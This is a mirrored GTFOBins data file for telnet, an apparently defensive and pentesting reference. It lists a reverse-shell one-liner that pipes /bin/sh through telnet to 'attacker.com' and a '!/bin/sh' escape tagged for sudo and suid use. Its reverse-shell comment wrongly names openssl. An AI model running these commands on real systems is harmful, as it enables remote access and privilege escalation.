mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-08 06:56:15 +01:00
The TTY annotation was missing in the rendered content for plain shell. Moreover now the shell function has TTY defaulting to true, whereas reverse-shell and bind-shell have it defaulting to false.
23 lines
422 B
Plaintext
23 lines
422 B
Plaintext
---
|
|
functions:
|
|
reverse-shell:
|
|
- code: |-
|
|
mkfifo /path/to/temp-socket
|
|
telnet attacker.com 12345 </path/to/temp-socket | /bin/sh >/path/to/temp-socket
|
|
comment: |-
|
|
The shell process is not spawn by `openssl`.
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
shell:
|
|
- code: |-
|
|
telnet
|
|
!/bin/sh
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
...
|